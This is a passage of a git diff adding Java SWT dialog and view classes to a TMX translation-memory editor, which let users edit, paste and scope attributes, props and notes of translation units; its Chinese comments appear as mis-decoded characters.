String title = ""; switch (category) { case PropertiesView.TU_ATTRS: title = Messages.getString("tmxeditor.editElementAttrDialog.title"); break; case PropertiesView.TUV_ATTRS: title = Messages.getString("tmxeditor.editElementAttrDialog.addFixAttr.title"); break; case PropertiesView.TU_NODE_NOTE: title = Messages.getString("tmxeditor.editElementDialog.title"); break; case PropertiesView.TU_NODE_PROPS: title = Messages.getString("tmxeditor.editElementDialog.addFixAttr.title"); break; } newShell.setText(title); } @Override protected Control createDialogArea(Composite parent) { Composite tParent = (Composite) super.createDialogArea(parent); tParent.setLayout(new GridLayout(2, false)); GridData parentData = new GridData(SWT.FILL, SWT.FILL, true, true); parentData.widthHint = 500; tParent.setLayoutData(parentData); GridData gd = GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).create(); // 自定义属性å称 Label nameLbl = new Label(tParent, SWT.NONE); nameLbl.setText(Messages.getString("tmxeditor.editElementAttrDialog.customAttrName")); nameTxt = new Text(tParent, SWT.BORDER | SWT.READ_ONLY); nameTxt.setText(oldName); GridDataFactory.createFrom(gd).applyTo(nameTxt); // 自定义属性值 Label valueLbl = new Label(tParent, SWT.NONE); valueLbl.setText(Messages.getString("tmxeditor.editElementAttrDialog.customAttrValue")); if (oldName.equalsIgnoreCase("creationdate") || oldName.equalsIgnoreCase("changedate")) { Composite com = new Composite(tParent, SWT.NONE); GridLayout gl = new GridLayout(2, false); gl.marginLeft = 0; gl.marginWidth = 0; gl.marginHeight = 0; gl.marginBottom = 0; com.setLayout(gl); dateWidget = new DateTime(com, SWT.DROP_DOWN); timeWidget = new DateTime(com, SWT.DROP_DOWN | SWT.TIME | SWT.LONG); GridDataFactory.createFrom(gd).applyTo(com); Date strtodate = new Date(); if (oldValue != null) { SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd,HH:mm"); ParsePosition pos = new ParsePosition(0); strtodate = formatter.parse(oldValue, pos); if (strtodate == null) { strtodate = new Date(); } } Calendar cl = Calendar.getInstance(); cl.setTime(strtodate); dateWidget.setDate(cl.get(Calendar.YEAR), cl.get(Calendar.MONTH), cl.get(Calendar.DATE)); timeWidget.setTime(cl.get(Calendar.HOUR_OF_DAY), cl.get(Calendar.MINUTE), cl.get(Calendar.SECOND)); } else { valueTxt = new Text(tParent, SWT.BORDER); valueTxt.setText(oldValue); valueTxt.setFocus(); valueTxt.addModifyListener(new ModifyListener() { @Override public void modifyText(ModifyEvent e) { getButton(Dialog.OK).setEnabled(!valueTxt.getText().isEmpty()); } }); GridDataFactory.createFrom(gd).applyTo(valueTxt); } // 作用组 Group applyGroup = new Group(tParent, SWT.NONE); applyGroup.setText(Messages.getString("tmxeditor.editElementAttrDialog.apply")); GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).span(2, 1).applyTo(applyGroup); GridLayoutFactory.swtDefaults().numColumns(3).applyTo(applyGroup); // 当å‰é€‰ä¸­è¡Œ curSelectRowBtn = new Button(applyGroup, SWT.RADIO); curSelectRowBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); curSelectRowBtn.setText(Messages.getString("tmxeditor.editElementAttrDialog.current.line")); curSelectRowBtn.setSelection(true); // 所有过滤结果 allFilterResultBtn = new Button(applyGroup, SWT.RADIO); allFilterResultBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); allFilterResultBtn.setText(Messages.getString("tmxeditor.editElementAttrDialog.allFilterResults")); // 整个文件/记忆库 allFileOrDBBtn = new Button(applyGroup, SWT.RADIO); allFileOrDBBtn.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); allFileOrDBBtn.setText(Messages.getString("tmxeditor.editElementAttrDialog.allFileDatabase")); return tParent; } @Override protected void okPressed() { String newValue = ""; if (oldName.equalsIgnoreCase("creationdate") || oldName.equalsIgnoreCase("changedate")) { int month = dateWidget.getMonth() + 1; int day = dateWidget.getDay(); int hours = timeWidget.getHours(); int minutes = timeWidget.getMinutes(); int seconds = timeWidget.getSeconds(); newValue = "" + dateWidget.getYear() + (month < 10 ? "0" + month : month) + (day < 10 ? "0" + day : day) + "T" + (hours < 10 ? "0" + hours : hours) + (minutes < 10 ? "0" + minutes : minutes) + (seconds < 10 ? "0" + seconds : seconds) + "Z"; } else { newValue = valueTxt.getText(); } if (newValue.equals(oldValue) && curSelectRowBtn.getSelection()) { cancelPressed(); } else { if (curSelectRowBtn.getSelection()) { attrCollector.scope = PropertiesView.SELECTED_TU; } else if (allFilterResultBtn.getSelection()) { attrCollector.scope = PropertiesView.FILTERED_TU; } else { attrCollector.scope = PropertiesView.ALL_TU; } attrCollector.value = newValue; } super.okPressed(); } @Override protected void createButtonsForButtonBar(Composite parent) { super.createButtonsForButtonBar(parent); } } \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/EditElementDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/EditElementDialog.java new file mode 100644 index 0000000..6904e2f --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/EditElementDialog.java @@ -0,0 +1 @@ +package net.heartsome.cat.te.tmxeditor.view; import net.heartsome.cat.te.tmxeditor.resource.Messages; import net.heartsome.cat.te.tmxeditor.view.PropertiesView.ElemCollector; import org.eclipse.jface.dialogs.Dialog; import org.eclipse.jface.layout.GridDataFactory; import org.eclipse.jface.layout.GridLayoutFactory; import org.eclipse.swt.SWT; import org.eclipse.swt.events.ModifyEvent; import org.eclipse.swt.events.ModifyListener; import org.eclipse.swt.events.SelectionAdapter; import org.eclipse.swt.events.SelectionEvent; import org.eclipse.swt.layout.GridData; import org.eclipse.swt.layout.GridLayout; import org.eclipse.swt.widgets.Button; import org.eclipse.swt.widgets.Composite; import org.eclipse.swt.widgets.Control; import org.eclipse.swt.widgets.Group; import org.eclipse.swt.widgets.Label; import org.eclipse.swt.widgets.Shell; import org.eclipse.swt.widgets.Text; /** * 编辑 note 或 prop 节点 * @author Austen 2013-06-18 */ public class EditElementDialog extends Dialog { private int category = -1; private ElemCollector elem; private Button btnAllTu; private Button btnFiltered; private Button btnCurrentSelected; private Text txtNoteContent; private Text txtPropContent; private Text txtPropType; public EditElementDialog(Shell parentShell, int category, ElemCollector elem) { super(parentShell); this.category = category; this.elem = elem; } @Override protected void configureShell(Shell newShell) { super.configureShell(newShell); if (category == PropertiesView.TU_NODE_NOTE) { newShell.setText(Messages.getString("tmxeditor.editElementDialog.title")); } else { newShell.setText(Messages.getString("tmxeditor.editElementDialog.addFixAttr.title")); } } @Override protected Control createDialogArea(Composite parent) { Composite compostie = new Composite(parent, SWT.NONE); compostie.setLayout(new GridLayout(2, false)); GridDataFactory.createFrom(new GridData(GridData.FILL_BOTH)).hint(500, SWT.DEFAULT).applyTo(compostie); if (category == PropertiesView.TU_NODE_NOTE) { createNoteComposite(compostie); } else if (category == PropertiesView.TU_NODE_PROPS){ creatPropComposite(compostie); } // 作用组 Group applyGroup = new Group(compostie, SWT.NONE); applyGroup.setText(Messages.getString("tmxeditor.editElementDialog.apply")); GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).span(2, 1).applyTo(applyGroup); GridLayoutFactory.swtDefaults().numColumns(3).applyTo(applyGroup); // 当å‰é€‰ä¸­è¡Œ btnCurrentSelected = new Button(applyGroup, SWT.RADIO); btnCurrentSelected.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); btnCurrentSelected.setText(Messages.getString("tmxeditor.editElementDialog.current.line")); btnCurrentSelected.setSelection(true); btnCurrentSelected.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { if (btnCurrentSelected.getSelection()) { elem.scope = PropertiesView.SELECTED_TU; } } }); // 所有过滤结果 btnFiltered = new Button(applyGroup, SWT.RADIO); btnFiltered.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); btnFiltered.setText(Messages.getString("tmxeditor.editElementDialog.allFilterResults")); btnFiltered.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { if (btnFiltered.getSelection()) { elem.scope = PropertiesView.FILTERED_TU; } } }); // 整个文件/记忆库 btnAllTu = new Button(applyGroup, SWT.RADIO); btnAllTu.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); btnAllTu.setText(Messages.getString("tmxeditor.editElementDialog.allFileDatabase")); return compostie; } private void createNoteComposite(Composite compostie) { // 自定义属性å称 Label lblNote = new Label(compostie, SWT.NONE); lblNote.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, false, false,2, 1)); lblNote.setText(Messages.getString("tmxeditor.editElementDialog.noteContent")); txtNoteContent = new Text(compostie, SWT.BORDER | SWT.WRAP | SWT.V_SCROLL); txtNoteContent.setText(elem.content == null ? "" : elem.content); txtNoteContent.addModifyListener(new ModifyListener() { @Override public void modifyText(ModifyEvent e) { getButton(Dialog.OK).setEnabled(!txtNoteContent.getText().isEmpty()); } }); GridDataFactory.swtDefaults().hint(SWT.DEFAULT, 60).span(2, 1).align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(txtNoteContent); } private void creatPropComposite(Composite compostie) { // 通用 GridData GridData gdText = GridDataFactory.swtDefaults().align(SWT.FILL, SWT.CENTER).grab(true, false).create(); Label lblType = new Label(compostie, SWT.NONE); lblType.setAlignment(SWT.RIGHT); lblType.setText(Messages.getString("tmxeditor.editElementDialog.customAttrType")); txtPropType = new Text(compostie, SWT.BORDER); txtPropType.setText(elem.name == null ? "" : elem.name); txtPropType.addModifyListener(new ModifyListener() { @Override public void modifyText(ModifyEvent e) { getButton(Dialog.OK).setEnabled(!(txtPropType.getText().isEmpty() || txtPropContent.getText().isEmpty())); } }); new Label(compostie, SWT.NONE); final Button btnNameOnly = new Button(compostie, SWT.CHECK); btnNameOnly.setText(Messages.getString("tmxeditor.editElementDialog.prop.nameOnly")); GridDataFactory.createFrom(gdText).span(1, 1).applyTo(btnNameOnly); GridDataFactory.createFrom(gdText).applyTo(txtPropType); // 自定义属性å称 Label lblProp = new Label(compostie, SWT.NONE); lblProp.setText(Messages.getString("tmxeditor.editElementDialog.customAttrContent")); lblProp.setAlignment(SWT.RIGHT); txtPropContent = new Text(compostie, SWT.BORDER); txtPropContent.setText(elem.content == null ? "" : elem.content); txtPropContent.addModifyListener(new ModifyListener() { @Override public void modifyText(ModifyEvent e) { getButton(Dialog.OK).setEnabled(!(txtPropType.getText().isEmpty() || txtPropContent.getText().isEmpty())); } }); GridDataFactory.createFrom(gdText).applyTo(txtPropContent); btnNameOnly.addSelectionListener(new SelectionAdapter() { @Override public void widgetSelected(SelectionEvent e) { boolean nameOnly = btnNameOnly.getSelection(); elem.typeOnly = nameOnly; txtPropContent.setEnabled(!nameOnly); } }); } @Override protected void createButtonsForButtonBar(Composite parent) { super.createButtonsForButtonBar(parent); getButton(Dialog.OK).setEnabled(false); } @Override protected void okPressed() { if (category == PropertiesView.TU_NODE_NOTE) { elem.content = txtNoteContent.getText(); } else { elem.name = txtPropType.getText(); elem.content = txtPropContent.getText(); } if (btnAllTu.getSelection()) { elem.scope = PropertiesView.ALL_TU; } else if (btnCurrentSelected.getSelection()) { elem.scope = PropertiesView.SELECTED_TU; } else { elem.scope = PropertiesView.FILTERED_TU; } super.okPressed(); } } \ No newline at end of file diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/PasteElementDialog.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/PasteElementDialog.java new file mode 100644 index 0000000..04bce51 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/PasteElementDialog.java @@ -0,0 +1,54 @@ +/** + * PasteElementDialog.java + * + * Version information : + * + * Date:2013-12-26 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.te.tmxeditor.view; + +import net.heartsome.cat.te.tmxeditor.view.PropertiesView.ElemCollector; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Shell; + +/** + * @author Austen + * @version + * @since JDK1.6 + */ +public class PasteElementDialog extends AddElementDialog { + + public PasteElementDialog(Shell parentShell, ElemCollector collector) { + super(parentShell, PropertiesView.TU_PROP_COPY, collector); + } + + private PasteElementDialog(Shell parentShell, int category, ElemCollector elem) { + super(parentShell, category, elem); + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(Dialog.OK).setEnabled(true); + } + + @Override + protected void okPressed() { + if (btnAllTu.getSelection()) { + elem.scope = PropertiesView.ALL_TU; + } else if (btnCurrentSelected.getSelection()) { + elem.scope = PropertiesView.SELECTED_TU; + } else { + elem.scope = PropertiesView.FILTERED_TU; + } + setReturnCode(OK); + close(); + } +} diff --git a/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/PropertiesView.java b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/PropertiesView.java new file mode 100644 index 0000000..bffbeb3 --- /dev/null +++ b/te/net.heartsome.cat.te.tmxeditor/src/net/heartsome/cat/te/tmxeditor/view/PropertiesView.java @@ -0,0 +1,1389 @@ +/** + * PropertiesView.java + * + * Version information : + * + * Date:2013/5/17 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ + +package net.heartsome.cat.te.tmxeditor.view; + +import java.lang.reflect.InvocationTargetException; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.ui.utils.OpenMessageUtils; +import net.heartsome.cat.te.core.TeCoreConstant; +import net.heartsome.cat.te.core.bean.TmxEditorSelection; +import net.heartsome.cat.te.core.tmxdata.AbstractTmxDataAccess; +import net.heartsome.cat.te.tmxeditor.Activator; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditor; +import net.heartsome.cat.te.tmxeditor.editor.TmxEditorViewer; +import net.heartsome.cat.te.tmxeditor.resource.Messages; +import net.heartsome.cat.te.tmxeditor.view.provider.PropertiesLablerProvider; +import net.heartsome.cat.te.tmxeditor.view.provider.TuPropContentProvider; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.jface.action.Action; +import org.eclipse.jface.action.IToolBarManager; +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.action.Separator; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.jface.viewers.ColumnWeightData; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableLayout; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.MouseAdapter; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.layout.FillLayout; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.ui.IPartListener; +import org.eclipse.ui.ISelectionListener; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IViewSite; +import org.eclipse.ui.IWorkbenchPart; +import org.eclipse.ui.PartInitException; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.internal.WorkbenchMessages; +import org.eclipse.ui.part.ViewPart; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class PropertiesView extends ViewPart implements IPartListener { + + public static final String ID = "net.heartsome.cat.te.tmxeditor.editor.TmxPropertiesViewer"; + + /** TU 属性. */ + public static final int TU_ATTRS = 0; + /** TU çš„ Prop å­èŠ‚点. */ + public static final int TU_NODE_PROPS = 1; + /** TUV 属性. */ + public static final int TUV_ATTRS = 2; + /** TU çš„ Note å­èŠ‚点. */ + public static final int TU_NODE_NOTE = 3; + + public static final int TU_PROP_COPY = 4; + /** 当å‰è¡Œ. */ + public static final int SELECTED_TU = 1; + /** 过滤出的TU. */ + public static final int FILTERED_TU = 2; + /** 所有TU. */ + public static final int ALL_TU = 3; + + public static Logger LOGGER = LoggerFactory.getLogger(PropertiesView.class.getName()); + + private int commandFromID = 0; + + private AbstractTmxDataAccess tmxDataAccess; + + private ScrolledComposite scrolledComposite; + private Composite compostie; + private Map tableViewerManager = new HashMap(); + + private AddAction addAction = new AddAction(); + private EditAction editAction = new EditAction(); + private DeleteAction deleteAction = new DeleteAction(); + + private TmxEditorOpenCloseListener editorOpenCloseListener = new TmxEditorOpenCloseListener() { + + @Override + public void editorOpened(AbstractTmxDataAccess dataAccess) { + setDataAccess(dataAccess); + setFocus(); // ä¸è°ƒç”¨æ­¤æ–¹æ³•å°†æ³•ç›‘å¬åˆ°æ¥è‡ª TmxEditorViewer 的选择事件 + } + + @Override + public void editorClosed() { + PropertiesView.this.tmxDataAccess = null; + tableViewerManager.get(TU_ATTRS).setInput(null); + tableViewerManager.get(TU_NODE_PROPS).setInput(null); + tableViewerManager.get(TUV_ATTRS).setInput(null); + tableViewerManager.get(TU_NODE_NOTE).setInput(null); + commandFromID = 0; + currentSelected = null; + setFocus(); + } + }; + + TmxEditorSelection currentSelected; + private ISelectionListener tmxEditorSelectionListener = new ISelectionListener() { + + @Override + public void selectionChanged(IWorkbenchPart part, ISelection selection) { + if (part == null || selection == null) { + return; + } + if (!(part instanceof TmxEditorViewer)) { + return; + } + if (selection.isEmpty() || !(selection instanceof IStructuredSelection)) { + return; + } + // tgtLangcodeInTmxEditor = TmxEditorViewer.getInstance().getTmxEditor().getTgtLang(); + StructuredSelection struct = (StructuredSelection) selection; + Object obj = struct.getFirstElement(); + if (obj instanceof TmxEditorSelection) { + currentSelected = (TmxEditorSelection) obj; + tableViewerManager.get(TU_ATTRS).setInput(new TableViewerInput(TU_ATTRS, currentSelected)); + tableViewerManager.get(TUV_ATTRS).setInput(new TableViewerInput(TUV_ATTRS, currentSelected)); + tableViewerManager.get(TU_NODE_NOTE).setInput(null); + tableViewerManager.get(TU_NODE_NOTE).setInput(new TableViewerInput(TU_NODE_NOTE, currentSelected)); + tableViewerManager.get(TU_NODE_PROPS).setInput(new TableViewerInput(TU_NODE_PROPS, currentSelected)); + compostie.layout(); + scrolledComposite.setMinSize(compostie.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + }; + + /** + * 获å–当å‰è§†å›¾å¯¹è±¡ï¼Œæ­¤æ–¹æ³•åªåœ¨ç›¸å…³ RCP handler 中调用,ä¸å®œåœ¨å…¶ä»–地方使用。 + * @return ; + */ + public static PropertiesView getInstance() { + IViewPart viewPart = PlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().findView(ID); + if (viewPart != null && viewPart instanceof PropertiesView) { + return (PropertiesView) viewPart; + } + return null; + } + + @Override + public void init(IViewSite site) throws PartInitException { + super.init(site); + getSite().getPage().addPostSelectionListener(tmxEditorSelectionListener); + TmxEditorViewer editorViewer = TmxEditorViewer.getInstance(); + if (editorViewer == null) { + return; + } + editorViewer.addOpenCloseListener(editorOpenCloseListener); + getSite().getPage().addPartListener(this); + } + + @Override + public void createPartControl(Composite parent) { + parent.setLayout(new FillLayout()); + addToolBarAction(); + scrolledComposite = new ScrolledComposite(parent, SWT.H_SCROLL | SWT.V_SCROLL); + scrolledComposite.setLayout(new FillLayout()); + scrolledComposite.setExpandHorizontal(true); + scrolledComposite.setExpandVertical(true); + + compostie = new Composite(scrolledComposite, SWT.NONE); + compostie.setLayout(new GridLayout(1, false)); + + // TU 属性 + TableViewer tbvTu = createTuAttrTable(createMenuManager()); + tableViewerManager.put(TU_ATTRS, tbvTu); + + // TUV 属性 + TableViewer tbvProp = createTuPropTable(createMenuManager()); + tableViewerManager.put(TU_NODE_PROPS, tbvProp); + + // Prop 节点 + TableViewer tbvTuv = createTuvAttrTable(createMenuManager()); + tableViewerManager.put(TUV_ATTRS, tbvTuv); + + // Note 节点 + TableViewer tbvNote = createTuNoteTable(createMenuManager()); + tableViewerManager.put(TU_NODE_NOTE, tbvNote); + + scrolledComposite.setContent(compostie); + scrolledComposite.setMinSize(compostie.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + setGlobalActionHandler(); + } + + private TableViewer createTuAttrTable(MenuManager menuManager) { + // ui + Label lblTuProp = new Label(compostie, SWT.NONE); + lblTuProp.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, true, false)); + lblTuProp.setText(Messages.getString("tmxeditor.view.PropertiesView.fixedProp")); + final TableViewer tbv = new TableViewer(compostie, SWT.NO_SCROLL | SWT.SINGLE | SWT.FULL_SELECTION | SWT.BORDER); + final TableLayout tableLayout = new TableLayout(); + final Table tbl = tbv.getTable(); + tbl.setLinesVisible(true); + tbl.setLayout(tableLayout); + GridData gd = new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1); + tbl.setLayoutData(gd); + tableLayout.addColumnData(new ColumnWeightData(4)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tableLayout.addColumnData(new ColumnWeightData(7)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tbv.setContentProvider(new TuPropContentProvider()); + + // data + tbv.setLabelProvider(new PropertiesLablerProvider()); + tbv.setContentProvider(new TuPropContentProvider()); + + Menu menu = menuManager.createContextMenu(tbl); + tbl.setMenu(menu); + tbl.addMouseListener(new MouseAdapter() { + @Override + public void mouseUp(MouseEvent e) { + commandFromID = TU_ATTRS; + setCopyPasteEnable(); + } + + @Override + public void mouseDoubleClick(MouseEvent e) { + commandFromID = TU_ATTRS; + editAction.run(); + } + }); + tbl.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + addAction.setEnabled(false); + editAction.setEnabled(true); + String[] items = (String[]) tbv.getElementAt(tbl.getSelectionIndex()); + boolean canDelete = !items[1].isEmpty(); + deleteAction.setEnabled(canDelete); + } + }); + return tbv; + } + + private TmxProp currentTuPropSelecet; + + private TableViewer createTuPropTable(MenuManager menuManager) { + // ui + Label lblTuProp = new Label(compostie, SWT.NONE); + lblTuProp.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, true, false)); + lblTuProp.setText(Messages.getString("tmxeditor.view.PropertiesView.customProp")); + final TableViewer tbv = new TableViewer(compostie, SWT.NO_SCROLL | SWT.SINGLE | SWT.FULL_SELECTION | SWT.BORDER); + final TableLayout tableLayout = new TableLayout(); + final Table tbl = tbv.getTable(); + tbl.setLinesVisible(true); + tbl.setLayout(tableLayout); + GridData gd = new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1); + tbl.setLayoutData(gd); + tableLayout.addColumnData(new ColumnWeightData(4)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tableLayout.addColumnData(new ColumnWeightData(7)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tbv.setContentProvider(new TuPropContentProvider()); + + // data + tbv.setLabelProvider(new PropertiesLablerProvider()); + tbv.setContentProvider(new TuPropContentProvider()); + // menu + menuManager.insertBefore("add", copyTuAttributeAction); + menuManager.insertAfter("ProperCopyAttribute", pasteTuAttributeAction); + menuManager.insertAfter("ProperPasteAttribute", new Separator()); + + Menu menu = menuManager.createContextMenu(tbl); + tbl.setMenu(menu); + tbl.addMouseListener(new MouseAdapter() { + @Override + public void mouseUp(MouseEvent e) { + commandFromID = TU_NODE_PROPS; + setCopyPasteEnable(); + } + + @Override + public void mouseDoubleClick(MouseEvent e) { + commandFromID = TU_NODE_PROPS; + Object obj = tbv.getElementAt(tbl.getSelectionIndex()); + if (obj instanceof TmxProp) { + if (editAction.isEnabled()) { + editAction.run(); + } + } else { + addAction.run(); + } + } + + }); + tbl.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + Object prop = tbv.getElementAt(tbl.getSelectionIndex()); + boolean isSelect = prop instanceof TmxProp; + if (prop instanceof TmxProp) { + TmxProp tmxProp = (TmxProp) prop; + currentTuPropSelecet = tmxProp; + } else { + currentTuPropSelecet = null; + } + addAction.setEnabled(true); + editAction.setEnabled(isSelect); + deleteAction.setEnabled(isSelect); + + if (isSelect) { + boolean disableEdit = false; + TmxProp p = (TmxProp) prop; + String name = p.getName(); + String value = p.getValue(); + out : for (Entry entry : currentSelected.getTus().entrySet()) { + List props = entry.getValue().getProps(); + if (props == null) { + disableEdit = true; + break; + } + for (TmxProp testProp : props) { + if (value.equals(testProp.getValue()) && name.equals(testProp.getName())) { + continue out; + } + } + disableEdit = true; + break; + } + editAction.setEnabled(!disableEdit); + deleteAction.setEnabled(!disableEdit); + } + + } + }); + return tbv; + } + + private TableViewer createTuvAttrTable(MenuManager menuManager) { + // ui + Label lblTuProp = new Label(compostie, SWT.NONE); + lblTuProp.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, true, false)); + lblTuProp.setText(Messages.getString("tmxeditor.view.PropertiesView.tuvProp")); + final TableViewer tbv = new TableViewer(compostie, SWT.NO_SCROLL | SWT.SINGLE | SWT.FULL_SELECTION | SWT.BORDER); + final TableLayout tableLayout = new TableLayout(); + final Table tbl = tbv.getTable(); + tbl.setLinesVisible(true); + tbl.setLayout(tableLayout); + tbl.setLayoutData(new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1)); + tableLayout.addColumnData(new ColumnWeightData(4)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tableLayout.addColumnData(new ColumnWeightData(7)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tbv.setContentProvider(new TuPropContentProvider()); + + // data + tbv.setLabelProvider(new PropertiesLablerProvider()); + tbv.setContentProvider(new TuPropContentProvider()); + + // menu + Menu menu = menuManager.createContextMenu(tbl); + tbl.setMenu(menu); + tbl.addMouseListener(new MouseAdapter() { + @Override + public void mouseUp(MouseEvent e) { + commandFromID = TUV_ATTRS; + setCopyPasteEnable(); + } + + @Override + public void mouseDoubleClick(MouseEvent e) { + commandFromID = TUV_ATTRS; + editAction.run(); + } + }); + tbl.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + boolean enable = currentSelected.getTus() != null && currentSelected.getTus().size() == 1; + addAction.setEnabled(false); + editAction.setEnabled(enable); + String[] str = (String[]) tbv.getElementAt(tbl.getSelectionIndex()); + boolean deleteEnable = !str[1].isEmpty(); + deleteAction.setEnabled(enable && deleteEnable); + } + }); + return tbv; + } + + private TableViewer createTuNoteTable(MenuManager menuManager) { + // ui + Label lblTuProp = new Label(compostie, SWT.NONE); + lblTuProp.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, true, false)); + lblTuProp.setText(Messages.getString("tmxeditor.view.PropertiesView.noteProp")); + final TableViewer tbv = new TableViewer(compostie, SWT.NO_SCROLL | SWT.SINGLE | SWT.FULL_SELECTION | SWT.BORDER); + final TableLayout tableLayout = new TableLayout(); + final Table tbl = tbv.getTable(); + tbl.setLinesVisible(true); + tbl.setLayout(tableLayout); + tbl.setLayoutData(new GridData(SWT.FILL, SWT.TOP, true, false, 1, 1)); + tableLayout.addColumnData(new ColumnWeightData(4)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tableLayout.addColumnData(new ColumnWeightData(7)); + new TableColumn(tbl, SWT.NONE).setResizable(true); + tbv.setContentProvider(new TuPropContentProvider()); + + // data + tbv.setLabelProvider(new PropertiesLablerProvider(tbl)); + tbv.setContentProvider(new TuPropContentProvider()); + // menu + Menu menu = 